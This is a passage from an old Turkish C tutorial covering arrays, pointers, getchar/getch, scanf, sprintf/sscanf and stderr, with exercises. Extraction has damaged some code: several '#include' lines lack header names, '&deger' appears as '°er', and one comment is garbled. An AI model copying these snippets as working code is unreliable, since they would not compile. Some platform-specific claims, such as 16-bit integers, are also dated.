================================================================

Burada, "float" olarak tanimli bir kayar nokta dizisi goruyorsunuz.
Ayrica bu program, katarlara nasil baslangic degeri atanabilecegini
gosteriyor. Koseli parantezlerin icini bos birakarak, derleyicinin o
veriyi saklamak icin yeteri kadar yer ayarlamasini sagladik. Programin
icinde, bir katar daha ilk degerini veriyoruz. Burada onune "static"
koymak zorunlugumuz var. Baska yeni birsey yok bu programda. Degiskenler
rastgele degerlere atanir, ve sonra da bu degerler ekrana yazdirilir.


BIR FONKSIYONDAN DEGER DONDURME

GERIDOND.C:
================================================================
main()
{
int index;
int matrix[20];

for (index = 0;index < 20;index++) /* veriyi uretelim */
matrix[index] = index + 1;

for (index = 0;index < 5;index++) /* orjinal veriyi, ekrana. */
printf("Baslangic matrix[%d] = %d\n",index,matrix[index]);

yapbirsey(matrix); /* fonksiyona gidip, deger degistirme */

for (index = 0;index < 5;index++) /* degismis matrix i yazalim */
printf("Geri donen matrix[%d] = %d\n",index,matrix[index]);
}

yapbirsey(list) /* Veri donusunu gosterir */
int list[];
{
int i;

for (i = 0;i < 5;i++) /* print original matrix */
printf("Onceki matrix[%d] = %d\n",i,list[i]);

for (i = 0;i < 20;i++) /* add 10 to all values */
list[i] += 10;

for (i = 0;i < 5;i++) /* print modified matrix */
printf("Sonraki matrix[%d] = %d\n",i,list[i]);
}
================================================================

Bir fonksiyondan deger dondurmenin bir yolu da, diziler kullanmaktir.
Buradam 20 hanelik bir dizi tanimladiktan sonra, icine degerler atiyoruz,
bu degerlerin ilk besini ekrana yazdiktan sonra, "yapbirsey" isimli
fonksiyona atliyoruz. Burada goreceginiz gibi, bu fonksiyon "matrix"
isimli diziye "list" demeyi tercih ediyor. Fonksiyona, ne cins bir dizi
gececegini bildirmek icin, "int" olarak "list"i tanimliyoruz. Fonksiyona
kac elemanlik bir dizi gecegini soylememize luzum yok, fakat istenirse
belirtilebilir. Bu nedenle bos koseli parantezler kullaniyoruz.

Bu fonksiyon da, kendisine gecen degerleri gosterdikten sonra, bu
degerlere 10 ekliyor, ve yeni degerleri gosterip, ana programa geri
donuyor. Ana programda goruyoruz ki, fonksiyonun yaptigi degisiklikler,
"matrix" degerlerini de degistirmis.

Dizilerin, normal degiskenlerin aksine, fonksiyondaki degerleri degisince,
cagiran programdaki dizinin degerlerinin degismesini garipsiyebilirsiniz.
Pointerlar konusuna gelince butun bunlar daha manali olacaktir.

BIRDEN FAZLA BOYUTLU DIZILER

COKLUDIZ.C:
================================================================
main()
{
int i,j;
int buyuk[8][8],dev[25][12];

for (i = 0;i < 8;i++)
for (j = 0;j < 8;j++)
buyuk[i][j] = i * j; /* Bu bir carpim tablosudur */

for (i = 0;i < 25;i++)
for (j = 0;j < 12;j++)
dev[i][j] = i + j; /* Bu da bir toplama tablosudur */

buyuk[2][6] = dev[24][10]*22;
buyuk[2][2] = 5;
buyuk[buyuk[2][2]][buyuk[2][2]] = 177; /* bu, buyuk[5][5] = 177; demek */

for (i = 0;i < 8;i++) {
for (j = 0;j < 8;j++)
printf("%5d ",buyuk[i][j]);
printf("\n"); /* Her i nin degeri artinca, bir RETURN */
}
}
================================================================

Burada iki tane iki boyutlu dizi kullaniyoruz. "buyuk" adli 8 e 8 lik
dizinin elemanlari [0][0] dan [7][7] ye kadar, toplam 64 tanedir. Diger
tanimli "dev" dizi ise, kare degildir, fakat dizinin kare olmasinin sart
olmadigini gosteren bir ornektir.

Iki dizi de biri carpim tablosu, digeri de toplama tablosu ile doldurulur.

Dizi elemanlarinin tek tek degistirilebilecegini gostermek icin, once
"buyuk" un elemanlarinda birine, "dev" in bir elemani ile, 22 ile
carpildiktan sonra atanir. Ikinci atamada ise, "buyuk[2][2]" elemani 5
degerine atanir. Herhangi bir islemin index olarak kullanilabilecegini
gosteren ucuncu atama ise, aslinda "big[5][5] = 177;" dir.

ODEVLER

1. Herbiri yaklasik 6 karakter uzunlugunda uc kisa katarin icine "strcpy"
ile iclerine "bir", "iki" ve "dort" kelimelerini kopyalayan bir program
yazin. Daha sonra, bu katarlari, daha buyuk bir katarin icine, uc kelimeyi
bir araya getirerek yerlestirin. Cikan sonucu on kere ekrana yazdirin.

2. Herbiri 10 elemanli olan "dizi1" ve "dizi2" isimli iki tamsayi dizisi
tanimlayin, ve iclerine bir dongu ile, ivir zivir bilgi doldurun. Daha
sonra her bir elemanini, ayni boydaki bir baska diziye ekleyin. Bu cikan
sonucu da "diziler" isimli 3. bir diziye atayin. Sonuclari ekrana
yazdirin:

1 2 + 10 = 12
2 4 + 20 = 34
3 6 + 30 = 36 gibi..

Ipucu: printf komutu soyle gorunecek:
printf("%4d %4d + %4d = %4d\n",index,dizi1[index],dizi2[index],
diziler[index]);

C Dili - 8. Konu

POINTER NEDIR?

Basitce, pointer, bir adrestir. Bir degisken olmak yerine, bir degiskenin
hafizadaki adresini tasiyan bir 'ok isareti'dir.

================================================================

main() /* Pointer kullanimi ornegi */
{
int index,*pt1,*pt2;

index = 39; /* herhangi bir deger */
pt1 = &index; /* 'index' in adresi */
pt2 = pt1;

printf("Deger simdi %d %d %d dir.\n",index,*pt1,*pt2);

*pt1 = 13; /* 'index' in degerine degisiklik yapalim */

printf("Degistikten sonra ise %d %d %d\n",index,*pt1,*pt2);
}

================================================================

Su an icin, programin index degiskenini ve iki tane astrisk ile baslayan
terimlerin tanimlandigi yere bakmayin. Aslinda astrisk denilen bu isarete,
biz simdilik 'yildiz' diyelim.

Programda ilk once, index degiskenine 39 degerini atiyoruz. Bunun
altindaki satirda ise, pt1'e tuhaf bir deger atanmasini goruyoruz - index
degiskeni, ve onunde bir & ampersand isareti ile. Bu ornekte, pt1 ve pt2
pointer dir, ve index de basit bir degiskendir. Simdi bir problemle karsi
karsiyayiz. Bu programda pointer kullaniliyor, fakat nasil kullanilacagini
ogrenmedik.

Bu gorecekleriniz biraz aklinizi karistiracak, fakat bunlari anlamadan
gecmeyin.

IKI ONEMLI KURAL

1. Onune ampersand isareti konmus bir degisken, o degiskenin adresini
belirtir. Yani altinci satir, soyle okunabilir: "pt1, index isimli
degiskenin adresini alir."

2. Onune yildiz konmus bir pointer, kendisinin tuttugu adreste bulunan
degeri gosterir. Programin dokuzuncu satiri, soyle okunabilir: "pt1
pointer'inin gosterdigi yere, 13 degeri atandi."

HAFIZA YARDIMCISI

1. & 'i bir adres olarak dusunun.
2. * 'i adresteki deger olarak dusunun.

pt1 ve pt2 pointer olarak, kendileri bir deger tasimazlar, fakat
bellekteki bir adresi gosterirler. Bu programda, 'index' degiskenini
gosteren pointer'lar oldugu icin, degiskenin degerini hem index ile, hemde
onun adresini tasiyan pointer'lar ile degistirebiliriz.

Dokuzuncu satirda, index degiskeninin degeri, pt1 pointer'i ile
degistiriliyor. Program icinde 'index' i kullandigimiz herhangi biryerde,
(pt1 baska birseye atanincaya kadar), '*pt1' i de kullanmamiz
mumkundur, cunku pt1, index'in adresini tasimaktadir.

BIR BASKA POINTER

Programa degisklik katmak icin, birbaska pointer daha tanimladim. "pt2"
isimli bu pointer, yedinci satirda "pt1"'in tasidigi adresi almaktadir. Bu
atamadan once, ayni henuz deger atanmamis degiskenler gibi icinde rastgele
bilgiler vardir. Bundan sonra, "pt2" de "index" degiskeninin adresini
tasimaktadir. Ornegin, dokuzuncu satirda "*pt1" i "*pt2" ile degistirsek
de, sonuc ayni olacaktir - cunku iki pointer da ayni adresi tasimaktadir.

SADECE BIR DEGISKEN

Bu programda uc tane degisken var gibi gorunse de, aslinda bir tane
degisken tanimlidir. Iki pointer ise, bu degiskenin adresini tutmaktadir.
Bu durum, "printf" komutunun hep 13 degerini yazmasindan da anlasilabilir.

Bu gercekten anlamasi zor bir kavramdir, fakat en kucuk C programlari
disinda hepsi tarafindan kullanildigi icin, ogrenmeniz gereklidir.

POINTER NASIL TANIMLANIR

Programin ucuncu satirinda, ilk once "index" isimli degisken tanimlanir,
daha sonra da iki tane pointer tanimlamasi goreceksiniz. Ikinci tanim, su
sekilde okunabilir: "pt1'in gosterecegi adres, bir tamsayi degiskenine ait
olacak." Yani, "pt1", tamsayi bir degiskeninin pointer'i olur. Ayni
sekilde, "pt2" de, yine bir tamsayi degiskeninin pointer'i olur.

Bir pointer, bir degiskenin adresini tasimak icin tanimlanir.
Tanimlandigindan baska bir degisken tipi icin kullanimi "uyumsuz veri
tipi" hatasinin olusmasina sebep olur. Ornegin, "float" tipi bir pointer,
"int" tipli bir degiskenin adresini alamaz.

POINTER'LI IKINCI PROGRAMIMIZ

POINTER2.C:
================================================================
main()
{
char katar[40],*orada,bir,iki;
int *pt,list[100],index;

strcpy(katar,"Bu bir karakter kataridir.");

bir = katar[0]; /* bir ve iki ayni degeri tasirlar */
iki = *katar;
printf("Ilk cikti %c %c\n",bir,iki);

bir = katar[8]; /* bir ve iki ayni degeri tasirlar */
iki = *(katar+8);
printf("Ikinci cikti %c %c\n",bir,iki);

orada = katar+10; /* katar+10 ve katar[10] aynidir. */
printf("Ucuncu cikti %c\n",katar[10]);
printf("Dorduncu cikti %c\n",*orada);

for (index = 0;index < 100;index++)
list[index] = index + 100;
pt = list + 27;
printf("Besinci cikti %d\n",list[27]);
printf("Altinci cikti %d\n",*pt);
}
================================================================

Bu programda, iki tane pointer, iki tane dizi ve uc tane degisken
tanimliyoruz. "orada" isimli pointer, karakter tipi, ve "pt" ise, tamsayi
tipindedir.

BIR KATAR DEGISKENI ASLINDA BIR POINTER DIR

C programlama dilinde, bir katar degiskeni, o katarin baslangicini
gosteren bir pointer olarak tanimlanmistir. Programda bir bakin: once
"katar" isimli diziye sabit bir katar atiyoruz. Daha sonra, "bir" isimli
degiskene, "katar" in ilk harfini atiyoruz. Sonra, "iki" isimli degiskene,
ayni degeri atiyoruz. Ikinci satirda "*katar[0]" yazmak yalnis olurdu,
cunku yildiz isareti, koseli parantezlerin yerini almaktadir.

"katar" i neredeyse tam bir pointer gibi kullanabilirsiniz, yegane farki,
tuttugu adres degistirilemez, ve daima o katarin baslangic adresini
gosterir.

Onkinci satira gelince, katarin dokuzuncu karakterinin (sifirdan
basladigimiz icin), iki ayri sekilde "bir" ve "iki" isimli degiskenlere
atandigini goruyoruz.

C programlama dili, pointer'in tipine gore, index ayarlamasini
otomatik olarak yapar. Bu durumda, "katar" bir "char" olarak tanimlandigi
icin, baslangic adresine 8 eklenir. Sayet "katar" "int" (tamsayi) olarak
tanimlanmis olsa idi, index iki ile carpilip, "katar" in baslangic
adresine eklenirdi.

"orada" bir pointer oldugu icin, 16. satirda "katar" in 11. elemaninin
adresini tasiyabilir. "orada" gercek bir pointer oldugu icin, herhangi bir
karakter degiskeninin adresini gosterebilir.

POINTER VE ARITMETIK

Her cesit islemler, pointer'lar ile mumkun degildir. Pointer bir adres
oldugundan, ona bir sabit rakam ekleyip, daha ilerideki bir adrese
erismek mumkundur. Ayni sekilde, pointer'in adresinde bir rakam cikartip,
daha onceki hafiza bolgelerine erismek mumkundur. Iki pointer'i toplamak
pek mantikli degildir, cunku bilgisayardaki adresler sabit degildir.
Cikacak rakamin tuhaf olacagi icin pointer ile carpma da yapilamaz. Ne
yaptiginizi dusunurseniz, yapabilecekleriniz ve yapamayacaklariniz kendini
belli edecektir.

TAMSAYI POINTER'I

"list" isimli tamsayi dizisine, 100 den 199 a kadar degerler verilir. Daha
sonra, 28. elemanin adresini, "pt" isimli pointer'a atiyoruz. Daha sonra
ekrana yazdigimizda, gercektende, o degeri aldigini goruyoruz.

Daha onceki konularda, bir fonksiyondan veri degerlerini dondurmek icin
iki metod oldugunu soylemistim. Ilki, bir dizi kullanarakti. Ikincisini
herhalde tahmin edersiniz. Sayet tahmininiz "pointer sayesinde" idiyse,
tebrikler.

CIFTYON.C:
================================================================
main()
{
int cevizler,elmalar;

cevizler = 100;
elmalar = 101;
printf("Baslangic degerleri %d %d\n",cevizler,elmalar);

/* "degistir" i cagirinca, */
degistir(cevizler,&elmalar); /* cevizlerin DEGERI ve, */
/* elmalarin adresini geciriyoruz */

printf("Bitis degerleri ise, %d %d dir..\n",cevizler,elmalar);
}

degistir(kuru_yemis,meyvalar) /* kuru_yemis tamsayidir */
int kuru_yemis,*meyvalar; /* meyvalar bir tamsayi pointer'idir */
{
printf("Degerler %d %d\n",kuru_yemis,*meyvalar);
kuru_yemis = 135;
*meyvalar = 172;
printf("Sonraki degerler %d %d\n",kuru_yemis,*meyvalar);
}
================================================================
Burada, iki tane tamsayi degiskeni (pointer degil) tanimliyoruz:
"cevizler" ve "elmalar". Once bunlara birer deger atiyoruz, ve "degistir"
isimli fonksiyonu cagiriyoruz. Cagirirken, "cevizler" in degeri (100), ve
"elmalar" degiskeninin adresini geciriyoruz. Fakat, fonksiyona da, bir
deger ve bir adres gelecegini haber vermemiz gereklidir. Bunun icin,
fonksiyonun parametreleri tanimlanirken, bir adres tasiyacak olan sembolun
basina bir yildiz koymamiz yeterlidir.


Fonksiyonun icinde, bu iki degeri degistirip, eski ve yeni degerleri
ekrana yaziyoruz. Bu program calistiginda, ana programdaki "cevizler" in
degerinin ayni kaldigini fakat "elmalar" in yeni degerlerini aldigini
goreceksiniz.

"cevizler" in degerinin ayni kalmasinin nedeni, fonksiyona bir
deger gecirildiginde, C dilinin o degerin bir kopyasini fonksiyona
gecirmesi yuzundendir. Programa geri dondugunuzde, degerin bir kopyasini
kullandigimiz icin asil degerin degismedigini goreceksiniz.

"elmalar" in degerinin degismesi ise, yine fonksiyona "elmalar"
degiskeninin adresinin bir kopyasi gecirildigi halde, bu adres ana
programdaki "elmalar" a karsilik geldigi icin, fonksiyonda bu adresteki
degeri degistirir degistirmez, "elmalar" in da degeri degismis olur.

ODEV

1. Bir karakter katari tanimlayin, ve icine "strcpy" ile bilgi koyun. Bir
dongu ve pointer ile katari harf-harf (teker teker) ekrana yazin.
Programin basinda pointer'i katarin ilk elemanina atayin, daha sonra cift
arti isareti ile pointer'in degerini arttirin. Ayri bir tamsayi degiskeni
ile kac karakter yazilacagini kontrol edin..

2. 1. deki programi, pointeri katarin sonuna atayip, cift eksi isaretini
kullanarak sondan basa dogru yazmasi icin degistiriniz.


C Dili - 9. Konu

Standart Input/Output

BASITIO.C:
================================================================
#include /* input/output icin standard header */

main()
{
char c;

printf("Herhangi bir tusa basin. X = Programi durdurur. \n");

do {
c = getchar(); /* klavyeden bir tus okuyalim */
putchar(c); /* ekranda gosterelim. */
} while (c != 'X'); /* ta ki okunan bir X oluncaya dek... */

printf("\nProgramin sonu.\n");
}
================================================================

Standart I/O deyimi, verinin girildigi ve ciktigi en normal yerleri,
klavyeyi ve ekrani kast eder. Bu kutuge ilk baktiginizda, "#include
" komutunu goreceksiniz. Bu komut on-derleyiciye, kucuktur ve
buyuktur isaretleri arasinda yer alan kutuk isminin programa eklenmesini
soyler. Bazen, < > isaretleri yerine den-den " " isaretleri de
gorebilirsiniz. Aralarindaki fark, <> isaretlerinin on-derleyiciye, su
anda calistiginiz diskte / dizinde degil de, bu tip kutuklerin konuldugu
yerde aramasini bildirir. Halbuki den-den isaretleri ile belirlenmis bir
kutuk ismi, sizin su anda bulundugunuz disk / dizinde aranir. Genellikle,
"bu tip kutuklerin konuldugu yer", derleyiciye daha onceden belirtilir.
Ornegin, Quick C derleyicisinde, derleyiciye girmeden once:
SET INCLUDE=C:\INCLUDE
yazmak, derleyicinin bundan sonra butun 'include' edilecek, yani eklenecek
kutuklerin C: diskinin \INCLUDE dizininde aranmasini belirtir.

Sonu .h ile biten kutuklerin, ozel bir fonksiyonu vardir. Bunlara header
yada baslik kutukleri denir. Genellikle iclerinde, bazi fonksiyonlari
kullanmak icin gereken tanimlamalar yer alir. Bu kullandigimiz "stdio.h"
kutugu ise, bir suru "#define" komutundan olusur.

C DE INPUT/OUTPUT ISLEMLERI

C dilinde lisanin bir parcasi olarak tanimlanmis input/output komutlari
yoktur, bu nedenle bu fonksiyonlarin kullanici tarafindan yazilmasi
gereklidir. Her C kullanan kisi, kendi input/output komutlarini yazmak
istemediginden, derleyici yazarlari bu konuda calisma yapmislar, ve bize
bir suru input/output fonksiyonlari saglamislardir. Bu fonksiyonlar
standart hale gelmislerdir, ve hemen her C derleyicisinde ayni
input/output komutlarini bulabilirsiniz. C nin lisan tanimi, Kernigan ve
Richie tarafindan yazilmis bir kitaptir, ve onlar bu gorecegimiz
input/output fonksiyonlari bu kitaba katmislardir.

Bu "stdio.h" isimli kutugu incelemenizde fayda vardir. Icinde bircok
anlamadiginiz nokta olacaktir, fakat bazi kisimlar tanidik olacaktir.

DIGER INCLUDE KUTUKLERI

C de buyuk programlar yazmaya basladiginizda, programlari ufak parcalara
ayirip ayri ayri derlemek isteyebilirsiniz. Bu degisik parcalarin ortak
kisimlarini tek bir kutukte toplayip, bir degisiklik gerektiginde sadece o
ortak kutukten yapmayi isteyebilirsiniz (ornegin global degisken
tanimlari.) Bu gibi durumlarda "#include" kutukleri cok faydali olacaktir.

"BASITIO" YA GERI DONELIM

"c" isimli degisken tanimlanir, ve ekrana mesaj yazilir. Daha sonra,
kendimizi "c", buyuk harf X e esit olmadigi surece devam eden bir dongunun
icinde buluyoruz. Bu programdaki iki yeni fonksiyon, su an icin ilgi
noktamiz. Bunlar klavyeden bir tus okumak, ve ekrana bir karakter yazmayi
saglarlar.

"getchar()" isimli fonksiyon, klavyeden okudugu tusu dondurur, bu deger
"c" ye atanir. "putchar()" fonksiyonu ise, bu degeri ekrana yansitir.

Bu programi derleyip calistirdiginizda, bir surpriz ile karsilasacaksiniz.
Klavyeden yazdiginizda, ekrana herseyin iyi bir sekilde yansitildigini
goreceksiniz. RETURN tusuna bastiginizda ise, butun satirin tekrar ekrana
yazildigini goreceksiniz. Her karakteri teker teker ekrana getirmesini
soyledigimiz halde, programimiz sanki butun satiri sakliyor gibi.

DOS BIZE YARDIMCI OLUYOR (YADA ISE KARISIYOR)

Bu durumu anlayabilmek icin, DOS un nasil calistigini anlamamiz
gereklidir. Klavyeden tuslar DOS kontrolu ile okundugu zaman, RETURN tusu
basilana dek, basilan tuslar bir sahada saklanir. RETURN basilinca da,
butun satir programa dondurulur. Tuslara basilirken, karakterler ekrana da
yansitilir. Bu duruma da "eko" ismi verilir.

Simdi anlatilanlari goz onunde bulundurarak, programimiz calisirken ekrana
eko edilenlerin, DOS tarafindan yapildigini anlayabilirsiniz. Siz RETURN e
basinca da, bu saklanan tuslar, programa gonderilir. Bunu daha iyi anlamak
icin, icinde buyuk harf X olan bir satir yazin. DOS, buyuk X in ozel bir
tus oldugundan habersiz, siz RETURN e basana kadar tuslari kabul etmeye
devam eder. RETURN e basinca ise, bu katar programa gecirilir, ve program
X e rastlayincaya kadar ekrana karakterleri birer birer yazar.

Isletim sisteminin bu tuhafliklari karsisinda yilmayin. Bazi
programlarinizda, bu ozellik isinize yarayabilir. Fakat simdi biz, az once
yazdigimiz programin, dusundugumuz gibi calismasini saglayalim.

TEKIO.C:
================================================================

#include

main()
{
char c;

printf("Herhangi bir tusa basin. X = Programi durdurur. \n");

do {
c = getch(); /* bir tus oku */
putchar(c); /* basilan tusu goster */
} while (c != 'X'); /* ta ki c == 'X' olana dek */

printf("\nProgramin sonu.\n");
}
================================================================

Bu programdaki yegane degisiklik olan yeni fonksiyon "getch()", yine
klavyeden tek bir karakter okur. Farki, "getchar" gibi DOS'a
takilmamasidir. Bir karakter okur, ve ekrana yansitmadan bu tusu programa
dondurur.

Bu programi calistirdiginizda, bir oncekindeki gibi tekrarlanan satirlar
olmadigini goreceksiniz. Ayrica program artik 'X' e basar basmaz
durmaktadir. Burada baska bir problemimiz var. RETURN'e basinca cursor,
ekranin soluna gitmektedir, ama bir alt satira inmemektedir.

SATIR ATLAMAMIZ LAZIM

Cogu uygulama programi siz RETURN e basinca, program o RETURN e ek olarak
bir de "Line Feed" yani satir atlama karakteri ilave eder. Satir atlama
otomatik olarak yapilmaz. Bundan sonraki programda, bu sorunu da halletmis
olacagiz.

IYIIO.C:
================================================================
#include "stdio.h"
#define CR 13 /* CR sembolunu 13 olarak tanimlar */
#define LF 10 /* LF sembolunu 10 olarak tanimlar */

main()
{
char c;

printf("Tuslara basin. Durmak icin X e basin.\n");

do {
c = getch(); /* Bir karakter oku */
putchar(c); /* basilan tusu ekrana yaz */
if (c == CR) putchar(LF); /* sayet basilan RETURN tusu ise,
bir SATIR ATLAMA karakteri yolla */
} while (c != 'X');

printf("\nProgramin sonu.\n");
}
================================================================
Programin ilk basinda CR 'nin artik 13 e esit oldugunu ve LF nin de 10
oldugunu belirtiyoruz. Sayet ASCII tablosundan bakarsaniz, RETURN tusuna
karsilik gelen kodun 13 oldugunu gorursunuz. Ayni tabloda, satir atlama
kodu da 10 dur.

Ekrana basilan tusu yazdiktan sonra, sayet bu tus RETURN tusu ise, bir
satir atlayabilmemiz icin, satir atlama kodunu ekrana yaziyoruz.

Programin basindaki "#define" lar yerine "if (c == 13) putchar(10);"
diyebilirdik, fakat ne yapmak istedigimiz pek belirgin olmazdi.

HANGI METOD DAHA IYI?

Burada ekrandan bir harf okumanin iki yolunu inceledik. Her ikisinin de
avantajlari ve dezavantajlari var. Bunlara bir bakalim.

Ilk metodda, butun isi DOS ustlenmektedir. Programimiz baska islerle
ugrasirken, DOS bizim icin satiri hazirlayabilir, ve RETURN'e basilinca bu
satiri programa dondurebilir. Fakat, bu metodda karakterleri basildiklari
anda fark etmemiz imkansizdir.

Ikinci metodda, tuslari teker teker fark etmemiz mumkundur. Fakat,
program bu okuma sirasinda butun zamanini okumaya harcar ve baska bir is
yapamaz, ve bilgisayarin tum zamanini bu isle almis oluruz.

Hangi metodun uzerinde calistiginiz program icin daha uygun oldugunu
programci olarak siz karar vereceksiniz.

Burada, "getch()" fonksiyonun tersi olan "ungetch()" isimli bir fonksiyon
daha oldugunu da belirtmeliyim. Sayet bir karakteri "getch()" le okuduktan
sonra fazla okudugunuzu fark ederseniz, bu fonksiyon ile okunan tusu geri
koyabilirsiniz. Bu bazi programlarin yazilimini kolaylastirmaktadir cunku
bir tusu istemediginizi onu okuyuncaya kadar bilemezsiniz. Sadece bir tek
tusu "ungetch" edebilirsiniz, fakat genellikle bu yeterlidir.

BIRAZ TAMSAYI OKUYALIM

TAMOKU.C:
================================================================
#include

main()
{
int deger;

printf("0 ila 32767 arasinda bir rakam yazin, durmak icin 100 girin.\n");

do {
scanf("%d",°er); /* bir tamsayi oku (adresi ile) */
printf("Okunan deger %d idi. \n",deger);
} while (deger != 100);

printf("Programin sonu\n");
}
================================================================

Alistigimiz tip bir program olan TAMOKU'da, "scanf" isimli yeni bir
fonksiyon goruyoruz. Cok kullandigimiz "printf" fonksiyonuna cok benzeyen
bu fonksiyonun gorevi, istenilen tip verileri okuyup, degiskenlere atamak.

"printf" den en buyuk farki, "scanf" in degisken degerleri yerine,
adreslerini kullanmasidir. Hatirlayacaginiz gibi, bir fonksiyonun
parametrelerinin degerlerini degistirebilmesi icin, degiskenin adresine
ihtiyaci vardir. "scanf" fonksiyonuna adres yerine deger gecirmek, C
dilinde en SIK rastlanan hatalardan biridir.

"scanf" fonksiyonu, girilen satiri, satirdaki bosluklara bakmadan, ve bu
sekilde kullanildiginda, rakam olmayan bir karakter bulana kadar bir
tamsayi okur.

Sayet 32766 den buyuk bir rakam girerseniz, programin hata yaptigini
gorursunuz. Ornegin 65536 girerseniz, programin 0 degerini dondurdugunu
gorursunuz. Buna sebep, tamsayilarin hafizada saklanisinda onlara 16
bitlik bir saha ayrilmasindandir. Programinizda daha buyuk rakamlar
kullanacaksaniz, 'long' yada 'float' tiplerini secebilirsiniz.

KARAKTER KATARI GIRISI

KATARIN.C:
================================================================
#include

main()
{
char big[25];

printf("Karakter katari girin, en fazla 25 karakter.\n");
printf("Birinci kolonda X yazarak programi bitirin.\n");

do {
scanf("%s",big);
printf("Yazdiginiz katar -> %s\n",big);
} while (big[0] != 'X');

printf("Programin sonu.\n");
}
================================================================

Bu program bir oncekine cok benzer, fakat bu sefer bir kelime katari
giriyoruz. 25 elemanli bir dizi tanimlanmistir, fakat en son deger bir '0'
olmasi gerektiginden, kullanilabilen kisimi 24 dur. "scanf" deki
degiskenin onune & ampersand isareti gerekmez cunku, koseli parantezleri
olmayan bir dizi degiskeni, C dilinde o dizinin baslangicini gosteren
bir adrestir.

Calistiginizda, sizi bir supriz bekliyor. Yazdiginiz cumleyi, program ayri
satirlarda gosterir. Bunun sebebi, "scanf" bir katar okurken, satirin
sonuna yada bir bosluga rastlayincaya kadar okumasina devam eder. Bir
dongu icinde oldugumuzdan, program tekrar tekrar "scanf" i cagirarak,
DOS'un giris sahasinda kalan butun karakterleri okur. Cumleleri kelimelere
boldugunden, X ile baslayan herhangi bir kelimeye rastlayinca, bu program
durur.

24 karakterden daha fazlasini girmeye calisin. Ne olduguna bakin. Size bir
hata mesaji verebilir, yada programiniz aleti kilitleyebilir. Gercek bir
programda, boyle seylerin sorumlulugu sizlerin omuzlarinizdadir. C dilinde
yazdiginiza size cok sey duser, fakat ayni zamanda bircok kolaylik da
saglar.

C DE INPUT/OUTPUT PROGRAMLAMA

C dili cok miktarda input/output yapan programlar icin degil de, bir
bircok icsel islemler yapan sistem programlari icin yazilmistir.
Klavye'den bilgi alma rutinleri cok kullanislidir, fakat C size az
yardimci olur. Yani, yapmaniz gereken I/O islemlerinde sorun cikmasini
onlemek icin detaylarla sizin ugrasmaniz lazimdir. Fakat genellikle
herhangi bir program icin bu tip fonksiyonlari bir defa tanimlamaniz
yeterlidir.

HAFIZADA.C:
================================================================
main()
{
int rakam[5], sonuc[5], index;
char satir[80];

rakam[0] = 5;
rakam[1] = 10;
rakam[2] = 15;
rakam[3] = 20;
rakam[4] = 25;

sprintf(satir,"%d %d %d %d %d\n",rakam[0],rakam[1],
rakam[2],rakam[3],rakam[4]);

printf("%s",satir);

sscanf(satir,"%d %d %d %d %d",&sonuc[4],&sonuc[3],
(sonuc+2),(sonuc+1),sonuc);


for (index = 0;index < 5;index++)
printf("Sonuc %d dir. \n",sonuc[index]);

}
================================================================

Bu programda, birkac tane degisken tanimliyoruz, ve "rakamlar" isimli
diziye de, "sprintf" fonksiyonunu incelemek icin rastgele sayilar
atiyoruz. Bu fonksiyon, "printf" e cok benzer. Yegane farki, ciktisini
ekrana yazmak yerine, bir karakter dizisine yazmasidir. Bunu da, ilk
parametresi olarak veriyoruz. Yani program bu fonksiyondan dondukten
sonra, "satir" dizisinin icinde, bes tane rakam olacaktir. Ikinci ile
ucuncu rakamlar arasindaki bosluk, "sscanf" fonksiyonunun bunlarin
uzerinden atlamasini gormek icindir.

Bunun altinda "printf" i kullanarak bu hazirladigimiz satiri yaziyoruz.
Daha sonra gordugunuz, "sscanf" fonksiyonu ise, "scanf" gibi ekrandan
okumak yerine, bizim "satir" dizimizden degerleri okur. Gordugunuz gibi,
"sscanf" e rakamlarin konacagi dizinin adreslerini cok degisik sekillerde
verebiliyoruz. Ilk ikisi, sadece dizideki 5. ve 4. elemanlarin adreslerini
index vererek tanimliyorlar, sonraki ikisi ise, dizinin baslangic adresine
bir offset (bir rakam) ekleyerek buluyorlar. Sonuncusu ise, koseli
parantezi olmayan bir dizinin, o dizinin baslangic elemaninin adresini
gostereceginden, hicbir sey gerektirmiyor.

Bazen, bir programin ciktilarini, standart ciktidan (ekrandan), bir baska
kutuge yoneltmek istenir. Fakat, hata mesajlarini gibi bazi mesajlari hala
ekrana yollamak isteyebilirsiniz:

OZEL.C:
================================================================
#include

main()
{
int index;

for (index = 0;index < 6;index++) {
printf("Bu satir, standart ciktiya gidiyor.\n");
fprintf(stderr,"Bu satir ise standart hataya gidiyor.\n");
}

exit(4); /* Bu komut, DOS 'un ERRORLEVEL komutu ile bir batch file'da
(yigit kutugunde) kontrol edilebilir. Bu programin
d”nd£rd£g£ deger, soyle kontrol edilebilir:

A> COPY CON: DENE.BAT

OZEL
IF ERRORLEVEL 4 GOTO DORT
(Dortten kucukse, buraya devam eder..)
.
.
GOTO BITTI
:DORT
(dort yada buyukse, buraya devam eder)
.
.
:BITTI



*/
}
================================================================

Bu program, bir dongu, ve icinde iki satirdan olusur. Bu satirlardan bir
tanesi standart ciktiya, bir tanesi de standart hataya gider. Burada
gordugunuz "fprintf" komutu, "printf" e cok benzer, fakat ciktinin nereye
gidecegini de belirtmenizi saglar. Bu alanda bir sonraki konuda daha uzun
duracagiz.

Program calisinca, ekranda on iki tane satir goreceksiniz. Sayet bu
programi:

A> OZEL > CIKTI

seklinde calistirirsaniz, ekranda sadece alti tane standart hataya giden
mesajlari goreceksiniz. Geri kalan (standart ciktiya giden) alti tanesi
ise, "cikti" isimli kutukte yer alacaktir.

YA exit(4) KOMUTU ?

Bu programdaki en son satir olan "exit(4)" komutu, programi sona erdirir,
ve dort degerini DOS a dondurur. Parantezlerin arasinda 0 ila 9 degerleri
kullanilabilir. Sayet bir "batch" (yigit) kutugu icinde bu programi
calistiriyorsaniz, bu degeri ERRORLEVEL komutu ile kontrol edebilirsiniz.

ODEV

1. Bir dongu icinde bir harf okuyun ve ekrana bu harfi normal "char"
tipinde gosterin. Bu harfi bir rakam olarak da gosterin. Programi
durdurmak icin, dolar sembolunu bekleyin. "getch" fonksiyonunu kullanarak
programin tusa basilir basilmaz islemesini saglayin. F tuslari gibi ozel
tuslara basarak ne oldugunu kaydedin. Her fonksiyon tusundan iki tane
deger donecektir. Birincisi sifir olup, ozel bir tusa basildigini haber
verecektir.

Devamını okuyun...>>